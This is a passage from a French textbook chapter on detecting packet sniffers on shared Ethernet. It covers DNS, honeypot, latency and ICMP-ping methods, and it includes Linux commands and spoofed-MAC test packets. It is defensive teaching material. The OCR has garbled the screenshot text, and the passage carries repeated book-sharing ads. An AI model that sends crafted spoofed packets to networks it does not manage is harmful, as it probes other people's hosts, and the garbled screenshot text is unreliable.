machines d’un groupe recevront le paquet en question. L’utilisation de ce mode
suppose I’attribution d’une adresse MAC multicast pour le groupe en question. Le
filtre matériel autorisera donc dans ce cas les paquets multicast « valides » a
atteindre le noyau du systéme. Une adresse multicast commence par les trois octets
suivants : 01:00:5E:X:Y:Z ;

— tout multicast : ce mode, aussi appelé « all multicast », est une extension du
mode multicast ou tous les paquets multicast seront transmis au filtre logiciel du
noyau du systéme d’exploitation ;

— promiscuous : une interface réseau en mode promiscuous transmet I’ensemble
des paquets véhiculés sur le réseau vers le filtre logiciel du noyau du systéeme sans
méme analyser I’adresse destination MAC.

D’une fagon générale, les interfaces réseau activent, par défaut, au niveau du
filtre matériel, les modes suivants: unicast, broadcast et multicast d’adresse 1
(01:00:5E:00:00:01).

5.2.2. Le filtre logiciel

La présence des filtres logiciels au niveau des noyaux des systémes est
confirmée par le test suivant qui consiste a activer le mode promiscuous de
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I’interface réseau d’une machine X et a envoyer a partir d’une autre machine une
requéte ARP recherchant I’adresse MAC de la machine d’adresse IP X. L’adresse
destination MAC de la requéte ARP est égale a une adresse quelconque, choisie
arbitrairement. En principe, elle doit étre une adresse broadcast. Alors
gu’on s’attend a ce que I’interface réseau de X récupere le paquet et le transmette au
noyau qui se chargera ensuite d’y répondre, la machine X ne génére aucune réponse
ARP. C’est le filtre logiciel, localisé a la suite du filtre matériel, qui empéche la
requéte d’atteindre le noyau du systeme. Ce filtre effectue donc un deuxiéme niveau
de filtrage dans la chaine d’acheminement du paquet vers le noyau.

Le filtre logiciel est différent d’un systeme a un autre. Maitriser son
fonctionnement exige, dans le cas de Linux, ou le code source est libre (open
source), une lecture attentive des instructions contenues dans ce code. Dans Windows,
ce code est non libre et demande, par conséquent, une analyse comportementale
approfondie du systeme. Ce chapitre se limitera aux systémes les plus courants ou,
sans doute, la présence de sniffers est des plus probables.

Par exemple, I’analyse du code source de Linux montre que son filtre logiciel
sépare les paquets en 4 catégories : broadcast, multicast, TO_US ou OTHERHOST.

Les paquets broadcast sont relatifs a I’adresse MAC broadcast FF:FF:FF:FF:FF:FF
alors les paquets multicast caractérisent I’ensemble des paquets avec le bit de
Groupe positionné (01 pour I’octet de poids fort : 01:X:Y:Z:V:W).

TO_US caractérise I’ensemble des paquets ayant pour destination I’adresse MAC
de I’interface réseau tandis que OTHERHOST définit I’ensemble des paquets ayant
pour destination une adresse MAC différente.

5.3. Les méthodes de détection des sniffers dans les réseaux Ethernet partagés

Cette section est consacrée a la présentation des méthodes les plus connues de
détection des sniffers dans un réseau Ethernet partagé.

5.3.1. La méthode du DNS

Les sniffers* ne sont pas totalement passifs. En exécutant automatiquement des
requétes DNS inverses (reverse DNS lookups) pour traduire les adresses IP des
paquets capturés, la plupart générent du trafic sur le réseau.

4. Le sniffer CommView, par exemple.
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Le principe de la méthode du DNS consiste a exploiter cette fonctionnalité
commune des sniffers. Ainsi, pour détecter un trafic est généré par un sniffer, il
suffit de rechercher, tout simplement, des requétes DNS inverses et de les distinguer
des vraies requétes DNS inverses.

Pour ce faire, un faux trafic est généré sur le segment du réseau Ethernet avec
une fausse adresse destination IP non utilisable (adresse de test). En plus, ce faux
trafic est généré sur le segment du réseau Ethernet avec une fausse adresse
destination MAC. Ce faux trafic devrait étre ignoré par toutes les machines en mode
normal du réseau (filtrage par le filtre matériel). Si une requéte DNS inverse
correspondant a la fausse adresse de test est capturée, ceci prouverait que la machine
est probablement en train d’exécuter un sniffer ; car seules les machines en mode
promiscuous peuvent capturer ce genre de faux trafic.

Cependant, cette méthode présente I’inconvénient d’étre devenue trés connue par
les pirates, qui désactivent, désormais, la génération des requétes DNS inverses dans
de nouveaux sniffers comme Ethereal. Cette fonctionnalité reste quand méme
présente en option.

Cette méthode reste tout de méme utile pour détecter la majorité des intrusions
car les pirates téléchargent, en fait, des sniffers sans méme maitriser leur mode de
fonctionnement.

A titre d’exemple, les deux écrans ci-dessous montrent que les sniffers Ethereal
et CommView intégrent les options « Enable name resolution » et « Disable DNS
resolving », qui permettent d’activer ou désactiver la génération des requétes DNS
inverses.

|2 Ethereal: Capture Preferer| [ [5]
Interface: | ethi j
Count: [0 (infinite) ]

M|udp and port 53

|
Capture length [65535 <

[ Update list of packets in real time

= &utomatic scralling in live capture

_| Enable name resolution

m ok Cancel
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=10l

i3
I General |Memory Usage | Latest IP Connections | Colors I Decoding | Misc. I Plug-ins |

I Gﬁ | I Auko-start capturing
Adapter: I Intel{R) PROS100 Y1 Metwork, Connection - Comm3tudio Yirtual P.da|j
Local IP vtes | Pri
v Disable DNS resalving

i Convert numetic port values bo service names
¥ Convert MAC addresses ko aliases

¥ Corvert [P addresses ko gliases

I~ Convert IP addresses ko hostnames in the "Packets" tab
| Display vendor names in MaC addresses

I~ Use non-promiscucus mode

Jv Maokify when the adapter list has changed

[ Display Full process path

I~ Display friendly adapter names

[o]4 I Cancel | Help |
4| 2

Capture: OFf |Pkts: Qim0 out f 0 pass |Aut0-saving: OFf |Rules: 10n |.0.Iarms: OFf |1% CPL Usage| 4

5.3.1.1. Exemple

On suppose que les machines d’un réseau Ethernet ont des adresses IP
appartenant a la plage 172.16.16.1 — 172.16.16.100. Un faux paquet ping ICMP est
généré a I’adresse IP 172.16.16.182 non utilisable. Ce faux paquet est généré par
une machine de test d’adresse 172.16.16.2 (figure 5.2). La machine d’adresse IP
172.16.16.20 est en mode promiscuous et exécute un sniffer.

172.16.16.20
172.16.16.2 La carte réseau La carte réseau
Machine en mode normal en mode Promiscuous

de test

Le faux paguet [ICMP
eat hioqgue par
le fiffre materis

FaLx Fing ICMFP

Faux Ping ICMP

Figure 5.2. Génération du faux paquet ping ICMP
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Les valeurs des principaux champs du faux paquet ping ICMP sont mentionnées
dans le tableau 5.1.

En-téte Ethernet

Adresse source MAC = Adresse MAC de la machine de test : 00:02:A5:B6:E3:82
Adresse destination MAC = z)g(: :igsrrs\zlzd:rfie-mik AA-AA-AA)
Type Ethernet = 0x0800 (IP message)

En-téte IP
Adresse source IP = Adresse IP de la machine de test : 172.16.16.2.
Adresse destination IP = L’adresse IP non utilisable : 172.16.16.182

En-téte ICMP

Type = 8 (echo request)
Code = 0

Tableau 5.1. Les valeurs des principaux champs du faux paquet ping ICMP

On utilise le générateur de paquet du sniffer CommView pour envoyer le faux
paquet ping ICMP, comme I’illustre I’écran ci-dessous.

B Send Packets via Intel{R) PRO/10 =10l x|
I Ethemet 11 0x00: Ak AL AL AR AR Ak OO0 0Z AF BE E3 92 08 00 45 00
.. Destination MAC: Ox10: 00 3C 0z D2 00 00 20 Ol BF 10 AC 10 10 0Z

e e O S e oxzo: [NERIe 00 42 SC 0z 00 01 00 61 62 63 64 &5 &6
i Ethertype: 030200 (2043) - P
b nxan: 7 &5 K9 BL BB B0 ED EE 6F 70 7L T2 73 74 75 76

.. P version: Ox04 (4) Dx40: 77 Bl 62 63 64 65 66 67 68 69

Header length: 0205 (5) - 20 bytes
- Type of service: 0x00 ()
. Tatal length: 0x003 (50)
. 1D DN0ZDE (728)
- Flags
. Fragment offset: 00000 (0)
. Timne to live: 0380 (128)
.. Protocel: 0301 (1) - ICMP
. Checksum;: 0BF 10 (48912) - comect
.. Source IP: 172.16.16.2
.. Destination IP: 172,16.16,182
... IP Options: Mone
B 1EMP
Typat 1408 (g] - Echo
. Code: 0300 (3)
Chacksum: Dx4AEC [1903E) - corract
.. Identifier: 020200 (51)
Saquance Murnbar: 030100 (Z56)

w
{E2)

Il
[

| - 4] | o

Packet Generator

Packet size: 74 =i ' Conkinuoushy Send |

Packets per second: IIU j i |1 j time(s) 1 of 1 packets sent
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Les machines en mode normal blogueront le faux paquet ping ICMP. Cependant,
les machines en mode promiscuous dont I’option « génération des requétes DNS
inverses » est activée, généreront des requétes DNS inverses vers un serveur DNS
pour rechercher le nom de la machine avec I’adresse IP 172.16.16.182 (figure 5.3).

172.16.16.2 172.16.16.20
Machine La carte réseau La carte réseau
de test en mode normal en mode Promiscuous

@l @) @)

Reguéte DNS inverse vers IR servenr INS

Figure 5.3. Génération des requétes DNS inverses

La machine de test d’adresse IP 172.16.16.2 exécute Sniffer Pro pour visualiser
le trafic et capturer particuliérement les requétes DNS inverses. L’écran ci-dessous
montre que la machine de test a envoyé le faux paquet ping ICMP vers la machine

d’adresse IP 172.16.16.182.

_sniffer - Local_d, Ethernet (Line speed at 10

=10l x|

EF\\E Monitor  Capture  Display Tools Datshase Wmdnw Help 18] x|

o ol uf*u|#] K| [poor =]
g|g|§|g| Slm| oo =@@lE 2 ¢ &

DDLC: Frame 39 arrived at 14:08:04.6305; frams size iz 74 (0044 hex] bytes.
D D1C Destination = Station AAARARAARAM

-~ DLC:  Source = Station 0002ASBEEIR2

Q DLC: Ethertyps = 000 (IF)

L3 prc:
©Y IP: D=[172.16.16.182] S=[172 16 16.2] LEN=40 ID=728
=88 ICHP: ——— ICHE header —-—

{8 ICHP:

£ ICHP: Type = 8 (Echo)

B ICHP: Code = 0

~ ICHP: Checksun = 445C (correct)
-4 ICHP: Identifier = 512

@ ICHP: Sequence number = 256

&3 ICHP: [32 bytes of data]

Status | Source Address Dest Address Summary |
O 3? [193.95.66.10] ([172.16.16.20] |DNS: R ID=1230 OP=QUERY STAT=Name error NAME=98._
[]|36 [193.95 A6.10] [[172 16.16.20] |DNS: R ID=225 OF=QUERY STAT=Hame error HAME=71.1
] [172.16.16.2] [172.16.16.182] ICHP: Echo
[]|40 [172 16 .16.20] ([193 . 95.66.10] |DNS: C ID=1231 OP=QUERY MAME=182 16 16 172 in-ad
_\I 11 1172 1A 1A 201 [7193 95 AR 101 ITNS: € TN=1232 OP=0FRY WAME=101 115 0 1R7 1ni'|'_|
4 3
=88 DILC: ——— DLC Header ————

~ Ly bic

1By TCHP
@ ICHP: [Hormal end of "ICHP header".]
B e
mb-ecode i Watriz }, Host Table J Prmocol Dlst }\ Staﬂstl:s |' — = =
For Help, press F1 = As = fiR, 1803 v
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L’écran ci-dessous montre que la machine d’adresse IP 172.16.16.20 a envoyé
une requéte DNS inverse vers le serveur DNS d’adresse 193.95.66.10 a la recherche
du nom de la machine d’adresse IP 172.16.16.182. 1l est donc clair que la machine
émettrice est en mode promiscuous, exécutant un sniffer qui généere des requétes
DNS inverses.

;-‘E_Sni[fer - Local_4, Ethernet {Line speed _|E| 1[
"_' File Monitor Capture  Display  Tools D indow  Help _|El 5[

| o| o = F| a8 ] Im‘
EE| 2| SfmlojeEwald 2l e &
Mo.

Status | Souice Address Dest Address Summary .|

ar [193 .95 66 .10] [[172 16.16.20] |DNS: R ID=1230 OP=0UERY STAT=Nams srror NAME=93 _ 4
| 3= [193 .95 66 .10] |[172 16 16 20] |DHNS: R ID=225 OF=(QUERY STAT=-Name error NAME=71 1
] [172.16 16.2] [172 16 .16 .182]| ICHF: Echo
1|40 [172 16 16 .20] |[193 95 &6 10] DHS: C ID=1231 OP=QUERY HAME=182 16 16 172 in-ad
_|I 41 72 16 16 201 17193 95 AR 101 ITHS: O TD=1232 OID=OHF'PV HAME=1M11 115 N 1A7 1H—T
4 3
T IP: D=[193.95.66.10] S=[172.16.16.20] LEN=52 ID=5127 d
UDF: D=53 5=3290 LEH=52
=] DHS: ———— Internet Domain Hame Service header ————

0 Dys:

L3 DHS: ID = 1231
-0 DNS: Flags = 01

L3 DNS: 0., ..., = Command
- DNS: 000 0. .. = Query
03 oHs:- o Hot truncated

9 pus: 1 = Recursion desired

) DNS: Flags = 0X

Q DHS: .0 ... = Hon Verified data HOT acceptable
- DNS: Question count = 1, Answer count = 0

Q DHS: Authority count = 0, Additicnal record count = 0

[——

-8 DNS:
) DNS: ZONE Section
) DNS: Hame = 182 16 .16 .172 in-addr arpa
-0} DNS: Type = Domain name pointer (PTR,.12) LI
Expert j\ Decode /, Mattix i Host Table j Protocol Dist. A Statistics /
For Help, press F1 =1 = | A 1603 v

5.3.2. La méthode pots de miel (honey pots)

Si la plupart des méthodes de détection des sniffers fonctionnent uniquement en
réseau local, la méthode pots de miel, elle, fonctionne partout.

Elle exploite le fait que nombreux protocoles transmettent des mots de passe non
cryptés, et que les intrus cherchent souvent des mots de passe et des logins. Elle
consiste simplement a installer un client et un serveur transmettant des paguets non
cryptés (par exemple un serveur FTP ou HTTP) dans le réseau. L’acces au serveur
exige de I'utilisateur de s’authentifier en fournissant un login et un mot de passe
(acces non anonyme). Le client ouvre une session au serveur en fournissant un login
et un mot de passe valides. Le serveur qui est complétement virtuel, est configuré
avec des comptes virtuels.
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Une fois qu’un intrus a obtenu le login et le mot de passe dans le réseau, il veut
accéder au serveur en utilisant ces informations. Un systéme de détection d’intrusion
ou un sniffer peut étre configuré pour noter ces occurrences, alertant qu’un intrus a
trouvé le trafic et a essayé d’employer I’information. Cette méthode applique en
guelque sorte le proverbe qui dit qu’on prend plus de mouches avec du miel qu’avec
du vinaigre.

Cette méthode est toutefois limitée puisque I’intrus, pour une raison ou pour une
autre, peut retarder sa tentative d’accéder au serveur. De plus, il peut ne pas étre
intéressé par ce type de trafic. Il utilise des filtres sur les paquets et ainsi il ne voit
pas les paquets relatifs a la connexion avec le serveur virtuel.

5.3.3. La méthode de I’hote local

Détecter localement un processus qui fait fonctionner le sniffer est difficile parce
gue le nom de ce processus peut &tre déguisé en quelque chose d’anodin. La seule
maniére pour détecter un sniffer dans ce cas, est de contrdler si la carte réseau n’est
pas en mode promiscuous. Une machine ne devrait jamais étre en mode promiscuous,
sauf si son fonctionnement I’exige (cas pour un routeur ou un firewall). Le fait que
la carte réseau soit en mode promiscuous est une forte indication qu’un sniffer est en
cours exécution.

Sous la plate-forme Unix, il existe différentes applications qui vérifient si la carte
réseau locale est en mode promiscuous, comme I’outil CPM® (check promiscuous
mode). Une autre méthode est d’exécuter la commande « ifconfig -a» qui
énumérera les interfaces réseaux, et affichera toutes les informations a leur sujet. Le
mot PROMISC signifie que la carte réseau est en mode promiscuous. Ainsi, la
commande « ifconfig -a | grep PROMISC » permet d’afficher uniquement les cartes
réseau en mode promiscuous. Notons que I’utilitaire ifconfig est parfois remplacé
par des pirates pour éviter d’étre découverts.

Les systéemes Irix et Solaris n’ont aucun flag d’indication sur le mode promiscuous.
De méme sous Windows, aucune commande ne permet de vérifier le mode
promiscuous pour la machine locale.

5. Téléchargeable a partir de I’adresse ftp:/ftp.cerias.purdue.edu/pub/tools/unix/sysutils/cpm/.

Clique ici pour plus de livres : https://t.me/formations8


ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/cpm/.
https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Techniques et outils de détection 157

La méthode de I’h6te local exige un acces physique a la machine cible pour
identifier le mode de sa carte réseau. Ceci n’est pas pratique du tout car le but d’un
administrateur réseau est de détecter a distance les machines du réseau avec des
cartes en mode promiscuous.

5.3.3.1. Expérience sous Linux

Nous allons essayer quatre commandes qui permettent de savoir si la carte réseau
local est en mode promiscuous sous Linux. Nous allons également les comparer en
vue de choisir les commandes les plus robustes. Ces commandes sont : ifconfig,
CPM (check promiscuous mode), ip link list et ip address show.

L’expérience se déroule en quatre étapes.

1€ étape

Tout d’abord, toutes les cartes réseau sont en mode normal. On exécute les deux
commandes ifconfig et CPM. L’écran ci-dessous montre que les cartes réseau ethO
et lo sont en mode normal.

b rootassoc2-2005:~ e
File Edit View Terminal Go Help
[TootBassoc2-2005 root]# ifconfig ad

|eth0 Link encap:Ethernet HWaddr 00:08:A1:4C:64:0F
inet addr:10.0.11.127 Bcast:10.255.255.255 Mask:255.0.0.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:12 errors:0 dropped:0 overruns:0 carrier:0 %
collisions:0 txqueuelen:100

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:10 Base address:0xc800

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0 o
UP LOOPBACK RUNNING MTU:16436 Metric:1 :
RX packets:11986 errors:0 dropped:0 overruns:0 frame:0
TX packets:11986 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:B18053 (798.8 Kb) TX bytes:818053 (798.8 Kb)

[root@assoc2-2005 root]# cpm
|2 network interfaces found:
eth0: Normal
lo: Normal
|0 of them are in promiscuous mode.

l[;oot@assocZ—ZOOS root]# I ﬂ
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Ensuite, on exécute les deux commandes ip link list et ip address show. L’écran

ci-dessous montre que les cartes réseau ethO et lo sont en mode normal.

hd rootassoc2-2005:~

File Edit View Terminal Go Help
[root@assochyzoos root]# ip link list
1: lo: <LOOPBACK,UP> mtu 16436 gdisc nogueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ethO: <BROADCAST ,MULTICAST,UP> mtu 1500 gdisc pfifo_fast glen 100
link/ether 00:08:al:4c:64:0f brd ff:ff:ff:ff:ff:ff
[rootPassoc2-2005 root]# ip address show
1: lo: <LOOPBACK,UP> mtu 16436 gdisc nogueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
2: ethO: <BROADCAST ,MULTICAST,UP> mtu 1500 gdisc pfifo_fast glen 100
link/ether 00:08:al:4c:64:0f brd ff:ff:ff:ff:ff:ff
inet 10.0.11.127/8 brd 10.255.255.255 scope global ethoO
[root@assoc2-2005 root]# I

28 étape

On met la carte ethO en mode promiscuous en utilisant la commande « ifconfig

ethO promisc ». Ensuite, on exécute les deux commandes ifconfig et CPM. L’écran
ci-dessous montre que les commandes ifconfig et CPM ont permis de détecter le

mode promiscuous de la carte réseau ethO.

B%d root@assocz-2005:~ il

FEile Edit View Teminal Go Help

'[runt ss0c2-2005 root]# ifconfig etho

etho Link encap:Ethernet Hwaddr 00:08:A1:4C:64:0F
inet addr:10.0.11.127 Beast:10.255.255.255 Mask:255.0.0.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:10 Base address:0xc800

[rootBassoc2-2005 root]# cpm
2 network interfaces found:
eth0: *** IN PROMISCUOUS MODE ***
lo: Normal
1 of them is in promiscuous mode.
[rootBassoc2-2005 root]# I
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On exécute les deux commandes ip link list et ip address show. L’écran ci-
dessous montre que les deux commandes ip link list et ip address show ont permis
de détecter le mode promiscuous de la carte réseau ethO.

~ O - - *
File Edit Vew Teminal Go Help
[root@assoc2-2005 root]# ip link list E]

1: lo: <LOOPBACK,UP> mtu 16436 gdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: etho: <BRGADCAST,MUL1%CAST,PRDMISC,UP> mtu 1500 qdisc pfifo_fast qlen 100
link/ether 00:08:al:4c:64:0f brd ff:ff:ff:ff:ff:ff
[root@®assoc2-2005 root]# ip address show
1: lo: <LOOPBACK,UP> mtu 16436 gdisc nogueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
2: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 gdisc pfifo_fast glen 100
link/ether 00:08:al:4c:64:0f brd ff:ff:ff:ff:ff:ff
inet 10.0.11.127/8 brd 10.255.255.255 scope global etho
[root@assoc2-2005 root]# l

3¢ étape

Maintenant, on désactive le mode promiscuous de la carte réseau ethO en
utilisant la commande « ifconfig ethO -promisc ». Ensuite, on exécute les quatre
commandes ifconfig, CPM, ip link list et ip address show. Le résultat montre que la
carte réseau ethO est en mode normal. Par conséquent, jusqu’a maintenant les quatre
commandes ifconfig, CPM, ip link list et ip address show donnent toutes les mémes
résultats.

4¢® étape

Maintenant que toutes les cartes réseau sont en mode normal, on exécute le
sniffer Ethereal et on choisit comme interface réseau eth0. La différence avec la 1"
étape, c’est qu’on va mettre I’interface réseau ethO en mode promiscuous par un
sniffer et non pas par une commande shell de configuration, telle que la commande
« ifconfig ethO promisc ».

Ensuite, on exécute les deux commandes ifconfig et CPM. L’écran ci-dessous
montre que ces deux commandes n’ont pas pu détecter le mode promiscuous de
I’interface réseau ethO.
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‘| The Ethereal Network Analyzer

%  Ethereal: Captu = B X |79,
QolreC s E File Edit View Terminal Go Help |
2l 223 (100.0%) | : = ]
SCTP 0 {0.0%) |[root@assoc2-2005 root]# ifconfig etho ksl
TCP 3 (1.3%) letho Link encap:Ethernet HWaddr 00:08:A1:4C:64:0F
uoer 62 (2T.8%) inet addr:10.0.11.127 Beast:10.255.255.255 Mask:255.0.0.0
ICMP 0 (00%) UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
ggEF 7; E:USSU‘ZJ:);) RX packets:122 errors:0 dropped:0 overruns:0 frame:0
GRE 0 (0.0%) TX packets:18 errors:0 dropped:0 overruns:0 carrier:0
MNetBIOS 4 (1.8%) collisions:0 txgqueuelen:100
IPX 33 (175%) RX bytes:12468 (12.1 Kb) TX bytes:0 (0.0 b)
VINES o 0o%) Interrupt:10 Base address:0xc800
Other 41 (184%)
Running 000041 |[root@assoc2-2005 root]# cpm
_ |2 network interfaces found:
s [} || etho: worma1
e — | - lo: Normal

|0 of them are in promiscuous mode.
:[root@asscczfzoos root]# I

]
=

‘Fi_ner_ L

On passe ensuite aux commandes ip link list et ip address show. L’écran ci-
dessous montre que le mode promiscuous de I’interface réseau ethO a pu étre détecté.

| The Ethereal Network Analyzer

% Ethereal: Captu = & % |19

Cenledpne: File Edit View Temminal Go Help

Total 471 (1000%) S = =

SCTP 0 (0.0 [root@assoc2-2005 root]# ip link 1ist Ead
TCR 3 (0E% 1: lo; <LOOPBACK,UP> mtu 16436 gdisc noqueue

UDP 157 (35.3%) T4k /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

IChP 0 (0.0%) 2: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 gdisc pfifo_fast glem 100

SR gﬁulﬁj‘) Link/ether 00:08:al:4c:64:0f brd £f:ff:ff:ff:Ef:Ef

GRE 0 ([00%) [root@assoc2-2005 root]# ip address show

MelBIOS 20 (4.2%) |1: lo: <LOOPBACK,UP> mtu 16436 gdisc noqueue

1P 77 (16.3%) link/locpback 00:00:00:00:00:00 brd 00:00:00:00:00:00

YINES 0 (00%) inet 127.0.0.1/8 brd 127.255.255.255 scope host lo

LY H e 2: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 qdisc pfifo_fast glen 100
‘Runmng 00:01:17 link/ether 00:08:al:4c:64:0f brd ff:ff:ff:ff:ff:ff

inet 10.0.11.127/8 brd 10.255.255.255 scope global etho

L}“ [root@assoc2-2005 root]# ||

3]

Filter:

<]

Si le mode promiscuous a pu étre détecté grace aux commandes ip link list et ip
address show et que les commandes ifconfig et CPM ont échoué, c’est que chaque
commande posséde un fonctionnement particulier.
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Par exemple, pour la commande ifconfig, il y a deux interprétations.

La premiére invoque le flag systéme, appelé IFF_Promisc, qui est spécifique a
I’interface réseau. Et c’est au niveau de ce flag que I’information sur le mode
(promiscuous ou normal) de I’interface réseau existe. La commande ifconfig
inspecte ce flag lors de son exécution. Donc, ifconfig ne reporte pas le mode
promiscuous parce que le sniffer Ethereal ne touche pas au flag IFF_Promisc lors de
son fonctionnement. En outre, Ethereal pourrait créer un flag interne jouant le méme
réle que IFF_Promisc. Le flag IFF_Promisc se trouve donc intact et la commande
ifconfig ne pourra pas s’apercevoir du mode promiscuous.

Une autre approche incrimine la commande ifconfig et préconise par conséquent
la méfiance quant aux résultats qu’elle affiche car elle ne reporte pas toujours I’état
réel de I’interface réseau (http://linux-ip.net/html/tools-ifconfig.ntml).

En définitive et compte tenu des tests, nous sommes en mesure d’affirmer que
les commandes les plus efficaces pour la détection locale du mode promiscuous sous
Linux sont ip link list et ip address show.

5.3.3.2. Détection du mode promiscuous a I’aide des fichiers logs

Sous Linux, on peut voir la date et I’heure exacte du début et de la fin de la mise
en mode promiscuous d’une carte réseau. Pour cela, il suffit de lire le contenu du
fichier « /var/log/messages » (écran ci-dessous). Méme si un administrateur n’arrive
pas a détecter le mode promiscuous de la carte réseau locale en temps réel, la
consultation du contenu de ce fichier lui permet de voir I’historique de la mise en
mode promiscuous de la carte réseau et d’en tirer les conclusions adéquates.
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5.3.4. La méthode de latence

Dans un réseau, une machine qui écoute le trafic entrant provoque sur la machine
un ralentissement. Si la machine distante est en mode promiscuous, les temps de
réponse sont sensiblement plus longs. Une machine écoutant I’ensemble du trafic
réseau, sera occupée, et mettra plus de temps a répondre.

La méthode de latence est un test qui fonctionne sur toutes les machines et tous
les systéemes d’exploitation. Elle se déroule en deux temps. Dans une premiere
phase, on mesure le temps de réponse moyen (round trip time — RTT) d’une
machine cible. Dans une seconde phase, on inonde le réseau avec du trafic fictif et
on mesure de nouveau le temps de réponse moyen de la machine cible. Le trafic
fictif n’a aucun effet sur les machines en mode normal, mais a un effet conséquent
sur les machines en mode promiscuous, particulierement celles analysant les
protocoles de la couche application pour capturer des logins et des mots de passe.
Pour plus de précision, ce test doit étre effectué plusieurs fois, en utilisant
différentes méthodes de mesures.

Aprés la collecte des RTT avant et aprés I’envoi du trafic fictif, on utilise
généralement un modele statistique (tels que le z-Statistic et le Student-test) pour
montrer que les deux échantillons des valeurs RTT collectés appartiennent a deux
populations différentes et par conséquent que c’est le faux trafic qui en est la cause.

La méthode de latence est une méthode probabiliste et n’est donc pas sire a
100 %, puisqu’elle peut générer des faux négatifs ou positifs. Cependant, combinée
avec d’autres méthodes de détection, elle peut confirmer la présence d’un sniffer
dans une machine. Comparée a d’autres méthodes de détection, elle est plus délicate
a implémenter. D’un autre c6té, elle peut dégrader de maniére significative le bon
déroulement du réseau et peut provoquer une congestion dans les machines
exécutant des sniffers.

Pour certains systémes d’exploitation, un éventuel probléme est représenté par la
possibilité que leurs noyaux traiteront les paquets ping ICMP en priorité. Ainsi, les
temps de réponse (RTT) des paquets ping resteront indépendants des charges des
CPU causés par la réception de tout le trafic transitant sur le segment Ethernet,
entrainant ainsi des faux positifs. Le choix du type de paquet ARP, ICMP, UDP ou
TCP est donc décisif et dépend du systéme d’exploitation. Généralement, un paquet
UDP ou TCP fonctionne sur tous les systémes d’exploitation.
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5.3.5. La méthode physique

Un administrateur du réseau peut vérifier manuellement le hub ou le switch de
son réseau pour voir s’il y a des raccordements inattendus. Par exemple, quelques
commutateurs (switchers) ont un port spécial permettant la réception de tout le trafic
circulant dans le réseau. Ce port a une multitude de noms, notamment « port
mirroring », « monitoring port », « spanning port », « SPAN port » ou « link mode
port ». Dans le cas des routeurs Cisco, ce port est appelé « SPAN port »5.

Ainsi, si I’intrus arrive a connecter sa machine a ce port, il pourrait alors avec un
sniffer espionner tout le trafic du réseau.

5.3.6. La méthode du ping ICMP

Dans les noyaux des versions anciennes de quelques systémes d’exploitations
(Linux notamment), il y a une condition spécifique qui permet a un utilisateur de
déterminer si une machine est en mode promiscuous ou non. Quand la carte réseau
est placée en mode promiscuous, chaque paquet est passé directement au noyau du
systeme d’exploitation. Quelques noyaux de systémes d’exploitation Vérifient
seulement I’adresse destination IP dans le paquet pour déterminer si le paquet doit
étre traité ou non. Le systéme FreeBSD 4.11 en est un exemple.

Pour détecter le mode promiscuous dans les cartes réseau, les programmes de
détection des sniffers (les anti-sniffers) exploitent cette spécificité. Un anti-sniffer
transmet a une machine suspecte un paquet avec une fausse adresse destination
MAC, mais avec une adresse destination IP valide. Le systéme avec une carte en
mode promiscuous vérifie uniquement si I’adresse destination IP est valide. Un tel
systeme va générer une réponse a ce type de paquet : la carte réseau est donc en
mode promiscuous.

Le principe du ping ICMP est d’envoyer une fausse demande ping (ICMP Echo
request) a une adresse IP valide d’une machine cible, mais avec une fausse adresse
destination MAC. Si la machine est en mode normal (le filtre matériel activé), on
s’attend a ce qu’elle ne réponde pas a cette demande. De méme, si la machine est en
mode promiscuous et que le filtre logiciel du noyau de son systeme d’exploitation
filtre les paquets ICMP, elle ne va pas non plus répondre a cette demande. Les filtres
matériel et logiciel de la machine n’acceptent en effet que les paquets dont I’adresse
destination MAC est de type unicast, broadcast ou multicast. Par contre, si le mode

6. Switch port analyzer.
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est promiscuous et que le noyau du systéme d’exploitation ne filtre pas les paquets
ICMP, la machine va générer un paquet de réponse ping, « ICMP echo reply ».

Ceci peut étre illustré par I’exemple suivant.

Phase 1 (figure 5.4)

La machine suspectée d’exécuter le sniffer a, par exemple, une adresse IP de X,
et une adresse MAC de 00-40-05-a4-79-32.

On change légérement I’adresse MAC de la cible en 00-40-05-a4-79-33. Bien
évidemment, on aura Vérifié au préalable qu’aucune machine du réseau n’a cette
adresse MAC.

A partir d’une machine de test, on envoie la commande ping ICMP (ICMP echo
request) avec I’adresse destination IP de X et la fausse adresse destination MAC de
00-40-05-a4-79-33. Le tableau 5.2 représente les valeurs des principaux champs des
en-tétes du faux paquet ping ICMP envoyé.

En-téte Ethernet
Adresse source MAC = Adresse MAC de la machine de test
Adresse destination MAC = | 00-40-05-a4-79-33 (fausse adresse)
Type Ethernet = 0x0800 (IP message)
En-téte IP
Adresse source IP = Adresse IP de la machine de test
Adresse destination IP = Adresse IP de X
En-téte ICMP
Type = 8 (echo request)
Code = 0

Tableau 5.2. Les valeurs des principaux champs du faux paquet ping ICMP

Phase 2 (figure 5.4)

Si I’on regoit une réponse, on déduit que la machine suspecte n’exécute pas le
filtrage matériel et le noyau de son system d’exploitation ne fait pas de filtrage
logiciel, et par conséquent sa carte réseau est en mode promiscuous.

On répéte ce processus pour toutes les machines du réseau.
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Il est important de noter que si une machine ne génére pas de réponse, ceci
n’implique pas systématiquement que sa carte réseau est en mode normal. Une
